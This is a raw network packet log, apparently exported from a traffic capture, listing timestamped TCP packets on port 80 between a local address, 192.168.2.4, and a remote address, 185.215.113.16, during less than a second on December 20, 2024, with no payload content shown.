Dec 20, 2024 17:11:04.637603998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.637747049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.637798071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.637917995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.637936115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.637980938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.638139009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.638344049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.638457060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.638468027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.638479948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.638495922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.638525009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.639240026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.639347076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.639358997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.639401913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.639488935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.639966011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.640023947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.640036106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.640074015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.640239000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.640708923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.640722036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.640765905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.716914892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717072964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717084885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717128038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.717145920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717190027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.717303991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717317104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717355967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.717581987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717593908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.717641115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.718060970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.718131065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.718142986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.718164921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.718385935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.718486071 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.718918085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.718930960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.718982935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.719003916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.719017029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.719055891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.719758987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.719814062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.719825983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.719871044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.719904900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.719904900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.720360041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.720494032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.720505953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.720544100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.720666885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.720704079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.721177101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.721259117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.721271038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.721311092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.765628099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.765650988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.765671015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.765680075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.765719891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.765763998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.765799999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.765818119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.765866995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.766489983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.766508102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.766527891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.766534090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.766547918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.766571045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.767230034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.767280102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.767363071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.767380953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.767429113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.767499924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.767996073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768098116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768115044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768165112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.768310070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768795967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768837929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.768906116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768923044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.768965006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.769123077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.769614935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.769707918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.769725084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.769747019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.769778967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.769912958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.770399094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.770498037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.770514965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.770525932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.770555019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.770731926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.771229029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.771311045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.771332026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.771347046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.771508932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.771514893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.772011042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.772064924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.772104979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.772130013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.772171021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.772349119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.772891045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773022890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773039103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773051023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.773083925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.773175955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773667097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773705959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.773751974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773768902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.773813009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.773983002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.774445057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.774513006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.774532080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.774554014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.774579048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.774724007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.775240898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.775258064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.775305033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.775449991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.775466919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.775487900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.775984049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.776032925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.776110888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.776128054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.776339054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.776384115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.776786089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.776834965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.776894093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.776911974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.777604103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.829725027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.829844952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.829864025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.829914093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.830163956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830218077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.830254078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830271006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830395937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830437899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.830566883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830606937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.830696106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830713987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830732107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.830805063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.831394911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.831451893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.831516027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.831533909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.831711054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.831753969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.832165003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.832211971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.832257986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.832276106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.832560062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.832601070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.832967997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.833010912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.833148956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.884110928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.908962011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.908998013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909014940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909055948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.909240007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909292936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.909348011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909468889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909508944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.909599066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909626961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.909662008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.909835100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.910310030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.910326958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.910353899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.910437107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.910454988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.910485029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.911035061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.911075115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.911127090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.911145926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.911183119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.911344051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.911854982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.911870956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.911892891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.911995888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.912010908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.912033081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.912683010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.912699938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.912715912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.912724018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.912756920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.912828922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.913465977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.913481951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.913505077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.957746029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.957824945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.957844019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.957843065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.957879066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.958065033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.958205938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.958221912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.958245039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.958422899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.958463907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.958470106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.958487034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.958530903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.959047079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959162951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959178925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959201097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.959391117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959450960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.959799051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959909916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959927082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.959950924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.960129976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.960167885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.960603952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.960715055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.960730076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.960756063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.960953951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.960994005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.961426020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.961510897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.961527109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.961548090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.961735964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.961776972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.962290049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.962397099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.962412119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.962433100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.962626934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.962680101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.963031054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.963092089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.963108063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.963128090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.963432074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.963471889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.963844061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.963860989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.963897943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.964081049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.964097977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.964138031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.964591026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.964648008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.964663982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.964687109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.964828968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.964874983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.965446949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.965464115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.965508938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.965593100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.965610981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.965651035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.966276884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.966352940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.966368914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.966389894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.966540098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.966581106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.966984987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967103004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967119932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967144012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.967394114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967439890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.967828989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967844963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967886925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.967951059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.967967033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.968002081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:04.968676090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.968692064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.968708038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:04.968776941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.009136915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.021841049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.021986008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.021996021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022031069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.022100925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022144079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.022243023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022253036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022286892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.022470951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022718906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022764921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.022859097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022870064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.022901058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.022983074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.023483992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.023530006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:05.023545980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:05.023556948 CET	80	49744	185.215.113.16	192.168.2.4
